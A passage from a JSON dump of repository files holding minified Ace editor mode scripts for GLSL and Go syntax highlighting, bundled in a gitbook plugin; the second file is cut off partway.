    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-glsl.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/c_cpp_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.cFunctions=\"\\\\b(?:hypot(?:f|l)?|s(?:scanf|ystem|nprintf|ca(?:nf|lb(?:n(?:f|l)?|ln(?:f|l)?))|i(?:n(?:h(?:f|l)?|f|l)?|gn(?:al|bit))|tr(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?)|error|pbrk|ftime|len|rchr|xfrm)|printf|et(?:jmp|vbuf|locale|buf)|qrt(?:f|l)?|w(?:scanf|printf)|rand)|n(?:e(?:arbyint(?:f|l)?|xt(?:toward(?:f|l)?|after(?:f|l)?))|an(?:f|l)?)|c(?:s(?:in(?:h(?:f|l)?|f|l)?|qrt(?:f|l)?)|cos(?:h(?:f)?|f|l)?|imag(?:f|l)?|t(?:ime|an(?:h(?:f|l)?|f|l)?)|o(?:s(?:h(?:f|l)?|f|l)?|nj(?:f|l)?|pysign(?:f|l)?)|p(?:ow(?:f|l)?|roj(?:f|l)?)|e(?:il(?:f|l)?|xp(?:f|l)?)|l(?:o(?:ck|g(?:f|l)?)|earerr)|a(?:sin(?:h(?:f|l)?|f|l)?|cos(?:h(?:f|l)?|f|l)?|tan(?:h(?:f|l)?|f|l)?|lloc|rg(?:f|l)?|bs(?:f|l)?)|real(?:f|l)?|brt(?:f|l)?)|t(?:ime|o(?:upper|lower)|an(?:h(?:f|l)?|f|l)?|runc(?:f|l)?|gamma(?:f|l)?|mp(?:nam|file))|i(?:s(?:space|n(?:ormal|an)|cntrl|inf|digit|u(?:nordered|pper)|p(?:unct|rint)|finite|w(?:space|c(?:ntrl|type)|digit|upper|p(?:unct|rint)|lower|al(?:num|pha)|graph|xdigit|blank)|l(?:ower|ess(?:equal|greater)?)|al(?:num|pha)|gr(?:eater(?:equal)?|aph)|xdigit|blank)|logb(?:f|l)?|max(?:div|abs))|di(?:v|fftime)|_Exit|unget(?:c|wc)|p(?:ow(?:f|l)?|ut(?:s|c(?:har)?|wc(?:har)?)|error|rintf)|e(?:rf(?:c(?:f|l)?|f|l)?|x(?:it|p(?:2(?:f|l)?|f|l|m1(?:f|l)?)?))|v(?:s(?:scanf|nprintf|canf|printf|w(?:scanf|printf))|printf|f(?:scanf|printf|w(?:scanf|printf))|w(?:scanf|printf)|a_(?:start|copy|end|arg))|qsort|f(?:s(?:canf|e(?:tpos|ek))|close|tell|open|dim(?:f|l)?|p(?:classify|ut(?:s|c|w(?:s|c))|rintf)|e(?:holdexcept|set(?:e(?:nv|xceptflag)|round)|clearexcept|testexcept|of|updateenv|r(?:aiseexcept|ror)|get(?:e(?:nv|xceptflag)|round))|flush|w(?:scanf|ide|printf|rite)|loor(?:f|l)?|abs(?:f|l)?|get(?:s|c|pos|w(?:s|c))|re(?:open|e|ad|xp(?:f|l)?)|m(?:in(?:f|l)?|od(?:f|l)?|a(?:f|l|x(?:f|l)?)?))|l(?:d(?:iv|exp(?:f|l)?)|o(?:ngjmp|cal(?:time|econv)|g(?:1(?:p(?:f|l)?|0(?:f|l)?)|2(?:f|l)?|f|l|b(?:f|l)?)?)|abs|l(?:div|abs|r(?:int(?:f|l)?|ound(?:f|l)?))|r(?:int(?:f|l)?|ound(?:f|l)?)|gamma(?:f|l)?)|w(?:scanf|c(?:s(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?|mbs)|pbrk|ftime|len|r(?:chr|tombs)|xfrm)|to(?:b|mb)|rtomb)|printf|mem(?:set|c(?:hr|py|mp)|move))|a(?:s(?:sert|ctime|in(?:h(?:f|l)?|f|l)?)|cos(?:h(?:f|l)?|f|l)?|t(?:o(?:i|f|l(?:l)?)|exit|an(?:h(?:f|l)?|2(?:f|l)?|f|l)?)|b(?:s|ort))|g(?:et(?:s|c(?:har)?|env|wc(?:har)?)|mtime)|r(?:int(?:f|l)?|ound(?:f|l)?|e(?:name|alloc|wind|m(?:ove|quo(?:f|l)?|ainder(?:f|l)?))|a(?:nd|ise))|b(?:search|towc)|m(?:odf(?:f|l)?|em(?:set|c(?:hr|py|mp)|move)|ktime|alloc|b(?:s(?:init|towcs|rtowcs)|towc|len|r(?:towc|len))))\\\\b\",u=function(){var e=\"break|case|continue|default|do|else|for|goto|if|_Pragma|return|switch|while|catch|operator|try|throw|using\",t=\"asm|__asm__|auto|bool|_Bool|char|_Complex|double|enum|float|_Imaginary|int|long|short|signed|struct|typedef|union|unsigned|void|class|wchar_t|template|char16_t|char32_t\",n=\"const|extern|register|restrict|static|volatile|inline|private|protected|public|friend|explicit|virtual|export|mutable|typename|constexpr|new|delete|alignas|alignof|decltype|noexcept|thread_local\",r=\"and|and_eq|bitand|bitor|compl|not|not_eq|or|or_eq|typeid|xor|xor_eqconst_cast|dynamic_cast|reinterpret_cast|static_cast|sizeof|namespace\",s=\"NULL|true|false|TRUE|FALSE|nullptr\",u=this.$keywords=this.createKeywordMapper({\"keyword.control\":e,\"storage.type\":t,\"storage.modifier\":n,\"keyword.operator\":r,\"variable.language\":\"this\",\"constant.language\":s},\"identifier\"),a=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Zd\\\\$_\\u00a1-\\uffff]*\\\\b\";this.$rules={start:[{token:\"comment\",regex:\"//$\",next:\"start\"},{token:\"comment\",regex:\"//\",next:\"singleLineComment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[\"].*\\\\\\\\$',next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"string\",regex:\"['].*\\\\\\\\$\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"keyword\",regex:\"#\\\\s*(?:include|import|pragma|line|define|undef)\\\\b\",next:\"directive\"},{token:\"keyword\",regex:\"#\\\\s*(?:endif|if|ifdef|else|elif|ifndef)\\\\b\"},{token:\"support.function.C99.c\",regex:o},{token:u,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|==|=|!=|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|new|delete|typeof|void)\"},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],singleLineComment:[{token:\"comment\",regex:/\\\\$/,next:\"singleLineComment\"},{token:\"comment\",regex:/$/,next:\"start\"},{defaultToken:\"comment\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{defaultToken:\"string\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{defaultToken:\"string\"}],directive:[{token:\"constant.other.multiline\",regex:/\\\\/},{token:\"constant.other.multiline\",regex:/.*\\\\/},{token:\"constant.other\",regex:\"\\\\s*<.+?>\",next:\"start\"},{token:\"constant.other\",regex:'\\\\s*[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]',next:\"start\"},{token:\"constant.other\",regex:\"\\\\s*['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\",next:\"start\"},{token:\"constant.other\",regex:/[^\\\\\\/]+/,next:\"start\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(u,s),t.c_cppHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/c_cpp\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/c_cpp_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./c_cpp_highlight_rules\").c_cppHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var u=t.match(/^.*[\\{\\(\\[]\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/c_cpp\"}.call(l.prototype),t.Mode=l}),define(\"ace/mode/glsl_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/c_cpp_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./c_cpp_highlight_rules\").c_cppHighlightRules,s=function(){var e=\"attribute|const|uniform|varying|break|continue|do|for|while|if|else|in|out|inout|float|int|void|bool|true|false|lowp|mediump|highp|precision|invariant|discard|return|mat2|mat3|mat4|vec2|vec3|vec4|ivec2|ivec3|ivec4|bvec2|bvec3|bvec4|sampler2D|samplerCube|struct\",t=\"radians|degrees|sin|cos|tan|asin|acos|atan|pow|exp|log|exp2|log2|sqrt|inversesqrt|abs|sign|floor|ceil|fract|mod|min|max|clamp|mix|step|smoothstep|length|distance|dot|cross|normalize|faceforward|reflect|refract|matrixCompMult|lessThan|lessThanEqual|greaterThan|greaterThanEqual|equal|notEqual|any|all|not|dFdx|dFdy|fwidth|texture2D|texture2DProj|texture2DLod|texture2DProjLod|textureCube|textureCubeLod|gl_MaxVertexAttribs|gl_MaxVertexUniformVectors|gl_MaxVaryingVectors|gl_MaxVertexTextureImageUnits|gl_MaxCombinedTextureImageUnits|gl_MaxTextureImageUnits|gl_MaxFragmentUniformVectors|gl_MaxDrawBuffers|gl_DepthRangeParameters|gl_DepthRange|gl_Position|gl_PointSize|gl_FragCoord|gl_FrontFacing|gl_PointCoord|gl_FragColor|gl_FragData\",n=this.createKeywordMapper({\"variable.language\":\"this\",keyword:e,\"constant.language\":t},\"identifier\");this.$rules=(new i).$rules,this.$rules.start.forEach(function(e){typeof e.token==\"function\"&&(e.token=n)})};r.inherits(s,i),t.glslHighlightRules=s}),define(\"ace/mode/glsl\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/c_cpp\",\"ace/mode/glsl_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./c_cpp\").Mode,s=e(\"./glsl_highlight_rules\").glslHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.$id=\"ace/mode/glsl\"}.call(l.prototype),t.Mode=l})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-golang.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/golang_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=\"else|break|case|return|goto|if|const|select|continue|struct|default|switch|for|range|func|import|package|chan|defer|fallthrough|go|interface|map|range|select|type|var\",t=\"string|uint8|uint16|uint32|uint64|int8|int16|int32|int64|float32|float64|complex64|complex128|byte|rune|uint|int|uintptr|bool|error\",n=\"new|close|cap|copy|panic|panicln|print|println|len|make|delete|real|recover|imag|append\",r=\"nil|true|false|iota\",s=this.createKeywordMapper({keyword:e,\"constant.language\":r,\"support.function\":n,\"support.type\":t},\"\"),o=\"\\\\\\\\(?:[0-7]{3}|x\\\\h{2}|u{4}|U\\\\h{6}|[abfnrtv'\\\"\\\\\\\\])\".replace(/\\\\h/g,\"[a-fA-F\\\\d]\");this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},i.getStartRule(\"doc-start\"),{token:\"comment.start\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:/\"(?:[^\"\\\\]|\\\\.)*?\"/},{token:\"string\",regex:\"[`](?:[^`]*)$\",next:\"bqstring\"},{token:\"constant.numeric\",regex:\"'(?:[^\\\\'\\ud800-\\udbff]|[\\ud800-\\udbff][\\udc00-\\udfff]|\"+o.replace('\"',\"\")+\")'\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:[\"keyword\",\"text\",\"entity.name.function\"],regex:\"(func)(\\\\s+)([a-zA-Z_$][a-zA-Z0-9_$]*)\\\\b\"},{token:function(e){return e[e.length-1]==\"(\"?[{type:s(e.slice(0,-1))||\"support.function\",value:e.slice(0,-1)},{type:\"paren.lparen\",value:e.slice(-1)}]:s(e)||\"identifier\"},regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\\\\(?\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|==|=|!=|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=\"},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment.end\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\"}],bqstring:[{token:\"string\",regex:\"`\",next:\"start\"},{defaultToken:\"string\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(o,s),t.GolangHighlightRules=o}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return 